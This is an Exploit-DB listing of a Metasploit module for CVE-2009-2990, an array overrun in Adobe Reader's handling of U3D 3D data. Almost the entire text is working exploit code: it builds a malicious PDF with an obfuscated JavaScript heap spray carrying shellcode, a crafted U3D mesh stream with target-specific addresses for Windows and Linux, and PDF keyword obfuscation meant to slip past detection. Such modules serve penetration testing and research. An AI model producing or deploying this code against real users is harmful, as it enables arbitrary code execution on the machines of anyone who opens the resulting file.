标题: Adobe - U3D CLODProgressiveMeshDeclaration Array Overrun (Metasploit) (1) EDB-ID: 16309 CVE: 2009-2990 类型: REMOTE 平台: MULTIPLE 发布日期: 2010-09-20 漏洞利用脚本: ##
# $Id: adobe_u3d_meshcont.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'zlib'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::FILEFORMAT

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Adobe U3D CLODProgressiveMeshDeclaration Array Overrun',
   'Description'    => %q{
     This module exploits an array overflow in Adobe Reader and Adobe Acrobat.
    Affected versions include < 7.1.4, < 8.1.7, and < 9.2. By creating a
    specially crafted pdf that a contains malformed U3D data, an attacker may
    be able to execute arbitrary code.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'Felipe Andres Manzano <felipe.andres.manzano[at]gmail.com>',
     'jduck'
    ],
   'Version'        => '$Revision: 10394 $',
   'References'     =>
    [
     [ 'CVE', '2009-2990' ],
     [ 'OSVDB', '58920' ],
     [ 'BID', '36665' ],
     [ 'URL', 'http://sites.google.com/site/felipeandresmanzano/' ],
     [ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb09-15.html' ]
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'         => 1024,
     'BadChars'      => "\x00",
     'DisableNops'  => true
    },
   'Targets'        =>
    [
     # test results (on Windows XP SP3)
     # reader 7.0.5 - untested
     # reader 7.0.8 - untested
     # reader 7.0.9 - untested
     # reader 7.1.0 - untested
     # reader 7.1.1 - untested
     # reader 8.0.0 - untested
     # reader 8.1.2 - works
     # reader 8.1.3 - works
     # reader 8.1.4 - untested
     # reader 8.1.5 - untested
     # reader 8.1.6 - untested
     # reader 9.0.0 - untested
     # reader 9.1.0 - works
     [ 'Adobe Reader Windows Universal (JS Heap Spray)',
      {
       'Index'  => 0x01d10000,
       'Platform' => 'win',
       'Arch'  => ARCH_X86,
       'escA'  => 0x0f0f0f0f,
       'escB'  => 0x16161616,
       'escC'  => 0x1c1c1c1c
      }
     ],

     # untested
     [ 'Adobe Reader Linux Universal (JS Heap Spray)',
      {
       'Index'  => 0xfffffe3c,
       'Platform' => 'linux',
       'Arch'  => ARCH_X86,
       'escA'  => 0x75797959,
       'escB'  => 0xa2a2a2a2,
       'escC'  => 0x9c9c9c9c
      }
     ]
    ],
   'DisclosureDate' => 'Oct 13 2009',
   'DefaultTarget'  => 0))

  register_options(
   [
    OptString.new('FILENAME', [ true, 'The file name.',  'msf.pdf']),
   ], self.class)

 end



 def exploit
  # Encode the shellcode.
  shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

  # Make some nops
  nops    = Rex::Text.to_unescape(make_nops(4))

  # prepare the pointers!
  ptrA = Rex::Text.to_unescape([target['escA']].pack('V'), Rex::Arch.endian(target.arch))
  ptrB = Rex::Text.to_unescape([target['escB']].pack('V'), Rex::Arch.endian(target.arch))
  ptrC = Rex::Text.to_unescape([target['escC']].pack('V'), Rex::Arch.endian(target.arch))

  script = <<-EOF
var nopz = unescape("#{nops}");
function mkSlice(stringy,size,rest){
 while (stringy.length <= size/2)
  stringy += stringy;
 stringy = stringy.substring(0, size/2 -32/2 -4/2 - rest -2/2);
 return stringy;
};

function spray(escA,escB,escC,escShellcode){
 var loop1;
 var pointersA = unescape(escA);
 var pointersB = unescape(escB);
 var pointersC = unescape(escC);
 var shellcode = unescape(escShellcode);

 pointersA_slide=mkSlice(pointersA,0x100000, pointersA.length);
 pointersB_slide=mkSlice(pointersB,0x100000, pointersB.length);
 pointersC_slide=mkSlice(pointersC,0x100000, pointersC.length);
 nop_slide = mkSlice(nopz,0x100000, shellcode.length);
 var xarr = new Array();
 for (loop1 = 0; loop1 < 400; loop1++) {
  if(loop1<100)
   xarr[loop1] = pointersA_slide+pointersA;
  else if(loop1<200)
   xarr[loop1] = pointersB_slide+pointersB;
  else if(loop1<300)
   xarr[loop1] = pointersC_slide+pointersC;
  else
   xarr[loop1] = nop_slide+shellcode;
  }
  return xarr;
 };
 var memoryz = spray("#{ptrA}","#{ptrB}","#{ptrC}","#{shellcode}");
 this.pageNum = 1;
EOF

  # Obfuscate it up a bit
  script = obfuscate_js(script,
   'Symbols' => {
    'Variables' => %W{ pointersA_slide pointersA escA pointersB_slide pointersB escB pointersC_slide pointersC escC escShellcode nop_slide shellcode stringy size rest nopz loop1 xarr memoryz },
    'Methods' => %W{ mkSlice spray }
   }).to_s

  # create the u3d stuff
  u3d = make_u3d_stream(target['Index'], "E" * 11)

  # Create the pdf
  pdf = make_pdf(script, u3d)

  print_status("Creating '#{datastore['FILENAME']}' file...")

  file_create(pdf)
 end


 def obfuscate_js(javascript, opts)
  js = Rex::Exploitation::ObfuscateJS.new(javascript, opts)
  js.obfuscate
  return js
 end


 def RandomNonASCIIString(count)
  result = ""
  count.times do
   result << (rand(128) + 128).chr
  end
  result
 end

 def ioDef(id)
  "%d 0 obj\n" % id
 end

 def ioRef(id)
  "%d 0 R" % id
 end

 #http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
 def nObfu(str)

  result = ""
  str.scan(/./u) do |c|
   if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
    result << "#%x" % c.unpack("C*")[0]
   else
    result << c
   end
  end
  result
 end

 def ASCIIHexWhitespaceEncode(str)
  result = ""
  whitespace = ""
  str.each_byte do |b|
   result << whitespace << "%02x" % b
   whitespace = " " * (rand(3) + 1)
  end
  result << ">"
 end


 def u3d_pad(str, char="\x00")
  ret = ""
  if (str.length % 4) > 0
   ret << char * (4 - (str.length % 4))
  end
  return ret
 end


 def make_u3d_stream(index, meshname)

  # build the U3D header (length will be patched in later)
  hdr_data = [1,0].pack('n*') # version info
  hdr_data << [0,0x24,31337,0,0x6a].pack('VVVVV')
  hdr = "U3D\x00"
  hdr << [hdr_data.length,0].pack('VV')
  hdr << hdr_data

  # mesh declaration
  decl_data = [meshname.length].pack('v')
  decl_data << meshname
  decl_data << [0].pack('V') # chain idx
  # max mesh desc
  decl_data << [0].pack('V') # mesh attrs
  decl_data << [0xc322].pack('V') # face count
  decl_data << [0x6226].pack('V') # position count
  decl_data << [0x24966].pack('V') # normal count
  decl_data << [0].pack('V') # diffuse color count
  decl_data << [0].pack('V') # specular color count
  decl_data << [0].pack('V') # texture coord count
  decl_data << [1].pack('V') # shading count
  # shading desc
  decl_data << [0].pack('V') # shading attr
  decl_data << [1].pack('V') # texture layer count
  decl_data << [0].pack('V') # texture coord dimensions
  decl_data << [0].pack('V') # original shading id
  # minimum resolution
  decl_data << [0x6226].pack('V') # final maximum resolution (needs to be bigger than the minimum)
  # quality factors
  decl_data << [0x12c].pack('V') # position quality factor
  decl_data << [0x12c].pack('V') # normal quality factor
  decl_data << [0x12c].pack('V') # texture coord quality factor
  # inverse quantiziation
  decl_data << [0x3f0b1e6c].pack('V') # position inverse quant
  decl_data << [0x3b6f05a6].pack('V') # normal inverse quant
  decl_data << [0x3b6f05a6].pack('V') # texture coord inverse quant
  decl_data << [0x3c2df54a].pack('V') # diffuse color inverse quant
  decl_data << [0x3c2df54a].pack('V') # specular color inverse quant
  # resource params
  decl_data << [0x3f666666].pack('V') # normal crease param
  decl_data << [0x3f000000].pack('V') # normal update param
  decl_data << [0x3f7c28f6].pack('V') # normal tolerance param
  # skeleton description
  decl_data << [0].pack('V') # bone count
  # padding
  mesh_decl = [0xffffff31,decl_data.length,0].pack('VVV')
  mesh_decl << decl_data
  mesh_decl << u3d_pad(decl_data)

  # build the modifier chain
  chain_data = [meshname.length].pack('v')
  chain_data << meshname
  chain_data << [1].pack('V') # type (model resource)
  chain_data << [0].pack('V') # attributes (no bounding info)
  chain_data << u3d_pad(chain_data)
  chain_data << [1].pack('V') # number of modifiers
  chain_data << mesh_decl
  modifier_chain = [0xffffff14,chain_data.length,0].pack('VVV')
  modifier_chain << chain_data

  # mesh continuation
  cont_data = [meshname.length].pack('v')
  cont_data << meshname
  cont_data << [0].pack('V') # chain idx
  cont_data << [0].pack('V') # start resolution
  cont_data << [0x1000].pack('V') # end resolution
  # 4096 continuation blocks
  cont_data << [index].pack('V') # split position index
  cont_data << [0].pack('v') # new diffuse color count
  cont_data << [0].pack('v') # new specular color count
  cont_data << [0].pack('v') # new text coord count
  cont_data << [0].pack('V') # new face count
  # unknown data
  cont_data << "\x07\x9c\x00\x00\x00\x37\x0c\x00\x00\xd0\x02\x00\x00\x3f\xeb\x95\x0d\x00\x00\x76"
  cont_data << "\x05\x00\x00\xea\x15\x00\x00\xe2\x02\x00\x00\x00\x00\x00\x00\x80\x82\x22\x8e\x2f"
  cont_data << "\xaa\x00\x00\x00\xc2\x13\x23\x00\x20\xbb\x06\x00\x80\xc2\x1f\x00\x80\x20\x00\x00"
  cont_data << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xc0\x14\x01\x00\x20\x44"
  cont_data << "\x0a\x00\x10\x7e\x4b\x8d\xf8\x7c\x32\x6d\x03\x00\x00\xb2\x0b\x00\x20\xfd\x19\x00"
  cont_data << "\x20\xb6\xe9\xea\x2e\x55\x00\x00\x59\x94\x00\x00\x4c\x00\x01\x00\x1a\xbb\xa0\xc8"
  cont_data << "\xc1\x04\x00\x70\xc4\xa0\x00\x00\x00\x6c\x98\x46\xac\x04\x00\x60\xf6\x1c\x00\x20"
  cont_data << "\xa1\x0f\x00\xa0\x17\x66\x23\x00\x00\xde\x88\x1d\x00\x00\x7b\x16\x9f\x72\x9a\x1d"
  cont_data << "\x15\x00\x80\xeb\x39\x00\x00\x00\x00\x00\x00\x94\xc8\x00\x00\x54\xce\xfb\x32\x00"
  cont_data << "\x80\xc4\x3e\xb0\xc4\x88\xde\x77\x00\x00\x46\x72\x01\x00\xf0\x56\x01\x00\x8c\x53"
  cont_data << "\xe9\x10\x9d\x6b\x06\x00"
  cont_data << "\x50" # pad
  mesh_cont = [0xffffff3c,cont_data.length,0].pack('VVV')
  mesh_cont << cont_data
  #mesh_cont << u3d_pad(cont_data)
  mesh_cont << "\xa2\x00" # manual padding

  data = hdr
  data << modifier_chain
  data << mesh_cont

  # patch the length
  data[24,4] = [0x2b680].pack('V') # hardcode the data length

  if index == 0x01d10000
   #laziest hack ever! Another index must be found for using the following
   # stream in windows.. and a lot of tests shoul be done.
   return data
  end


  # linux version
  # build the U3D header (length will be patched in later)
  hdr_data = [1,0].pack('n*') # version info
  hdr_data << [0,0x24,31337,0,0x6a].pack('VVVVV')
  meta_str1 = "alalala0"
  meta_str2 = "\xa8" * 1024
  hdr_meta = [1].pack('V')
  hdr_meta << [meta_str1.length].pack('v')
  hdr_meta << meta_str1
  hdr_meta << [1].pack('V')
  hdr_meta << [meta_str2.length].pack('V')
  hdr_meta << meta_str2
  hdr = "U3D\x00"
  hdr << [hdr_data.length,hdr_meta.length].pack('VV')
  hdr << hdr_data
  hdr << hdr_meta
  hdr << u3d_pad(hdr_meta)

  # mesh declaration
  decl_data = [meshname.length].pack('v')
  decl_data << meshname
  decl_data << [0].pack('V') # chain idx
  # max mesh desc
  decl_data << [0].pack('V') # mesh attrs
  decl_data << [0xc322].pack('V') # face count
  decl_data << [0x6626].pack('V') # position count
  decl_data << [4].pack('V') # normal count
  decl_data << [0].pack('V') # diffuse color count
  decl_data << [0].pack('V') # specular color count
  decl_data << [0].pack('V') # texture coord count
  decl_data << [1].pack('V') # shading count
  # shading desc
  decl_data << [0].pack('V') # shading attr
  decl_data << [0].pack('V') # texture layer count
  decl_data << [0].pack('V') # original shading id
  # no texture coord dimensions
  decl_data << [0x64].pack('V') # minimum resolution
  decl_data << [0x65].pack('V') # final maximum resolution (needs to be bigger than the minimum)
  # quality factors
  decl_data << [0x12c].pack('V') # position quality factor
  decl_data << [0x12c].pack('V') # normal quality factor
  decl_data << [0x12c].pack('V') # texture coord quality factor
  # inverse quantiziation
  decl_data << [0].pack('V') # position inverse quant
  decl_data << [0].pack('V') # normal inverse quant
  decl_data << [0].pack('V') # texture coord inverse quant
  decl_data << [0].pack('V') # diffuse color inverse quant
  decl_data << [0].pack('V') # specular color inverse quant
  # resource params
  decl_data << [0].pack('V') # normal crease param
  decl_data << [0].pack('V') # normal update param
  decl_data << [0].pack('V') # normal tolerance param
  # skeleton description
  decl_data << [0].pack('V') # bone count
  # padding
  mesh_decl = [0xffffff31,decl_data.length,0].pack('VVV')
  mesh_decl << decl_data
  mesh_decl << u3d_pad(decl_data)

  # build the modifier chain
  chain_data = [meshname.length].pack('v')
  chain_data << meshname
  chain_data << [1].pack('V') # type (model resource)
  chain_data << [0].pack('V') # attributes (no bounding info)
  chain_data << u3d_pad(chain_data)
  chain_data << [1].pack('V') # number of modifiers
  chain_data << mesh_decl
  modifier_chain = [0xffffff14,chain_data.length,0].pack('VVV')
  modifier_chain << chain_data

  # mesh continuation
  cont_data = [meshname.length].pack('v')
  cont_data << meshname
  cont_data << [0].pack('V') # chain idx
  cont_data << [0].pack('V') # start resolution
  cont_data << [0x100].pack('V') # end resolution
  # 256 continuation blocks
  cont_data << [index].pack('V') # split position index
  # unknown data
  cont_data << [1].pack('V') * 10
  cont_data << "Feli" * 20
  mesh_cont = [0xffffff3c,cont_data.length,0].pack('VVV')
  mesh_cont << cont_data
  mesh_cont << u3d_pad(cont_data)

  data = hdr
  data << modifier_chain
  data << mesh_cont

  # patch the length
  data[24,4] = [0x174].pack('V') # hardcode the data length
  return data

 end

 def make_pdf(js, u3d_stream)

  xref = []
  eol = "\x0a"
  obj_end = "" << eol << "endobj" << eol

  # the header
  pdf = "%PDF-1.7" << eol

  # filename/comment
  pdf << "%" << RandomNonASCIIString(4) << eol

  # js stream
  xref << pdf.length
  compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js))
  pdf << ioDef(1) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
  pdf << "stream" << eol
  pdf << compressed << eol
  pdf << "endstream" << eol
  pdf << obj_end

  # catalog
  xref << pdf.length
  pdf << ioDef(3) << nObfu("<</Type/Catalog/Outlines ") << ioRef(4)
  pdf << nObfu("/Pages ") << ioRef(5)
  pdf << nObfu("/OpenAction ") << ioRef(8)
  pdf << nObfu(">>")
  pdf << obj_end

  # outline
  xref << pdf.length
  pdf << ioDef(4) << nObfu("<</Type/Outlines/Count 0>>")
  pdf << obj_end

  # kids
  xref << pdf.length
  pdf << ioDef(5) << nObfu("<</Type/Pages/Count 2/Kids [")
  pdf << ioRef(9) << " " # empty page
  pdf << ioRef(10) # u3d page
  pdf << nObfu("]>>")
  pdf << obj_end

  # u3d stream
  xref << pdf.length
  pdf << ioDef(6) << nObfu("<</Type/3D/Subtype/U3D/Length %s>>" % u3d_stream.length) << eol
  pdf << "stream" << eol
  pdf << u3d_stream << eol
  pdf << "endstream"
  pdf << obj_end

  # u3d annotation object
  xref << pdf.length
  pdf << ioDef(7) << nObfu("<</Type/Annot/Subtype")
  pdf << "/3D/3DA <</A/PO/DIS/I>>"
  pdf << nObfu("/Rect [0 0 640 480]/3DD ") << ioRef(6) << nObfu("/F 7>>")
  pdf << obj_end

  # js dict
  xref << pdf.length
  pdf << ioDef(8) << nObfu("<</Type/Action/S/JavaScript/JS ") + ioRef(1) + ">>" << obj_end

  # page 0 (empty)
  xref << pdf.length
  pdf << ioDef(9) << nObfu("<</Type/Page/Parent ") << ioRef(5) << nObfu("/MediaBox [0 0 640 480]")
  pdf << nObfu(" >>")
  pdf << obj_end

  # page 1 (u3d)
  xref << pdf.length
  pdf << ioDef(10) << nObfu("<</Type/Page/Parent ") << ioRef(5) << nObfu("/MediaBox [0 0 640 480]")
  pdf << nObfu("/Annots [") << ioRef(7) << nObfu("]")
  pdf << nObfu(">>")
  pdf << obj_end

  # xrefs
  xrefPosition = pdf.length
  pdf << "xref" << eol
  pdf << "0 %d" % (xref.length + 1) << eol
  pdf << "0000000000 65535 f" << eol
  xref.each do |index|
   pdf << "%010d 00000 n" % index << eol
  end

  # trailer
  pdf << "trailer" << eol
  pdf << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(3) << ">>" << eol
  pdf << "startxref" << eol
  pdf << xrefPosition.to_s() << eol
  pdf << "%%EOF" << eol

 end

end URL: https://www.exploit-db.com/exploits/16309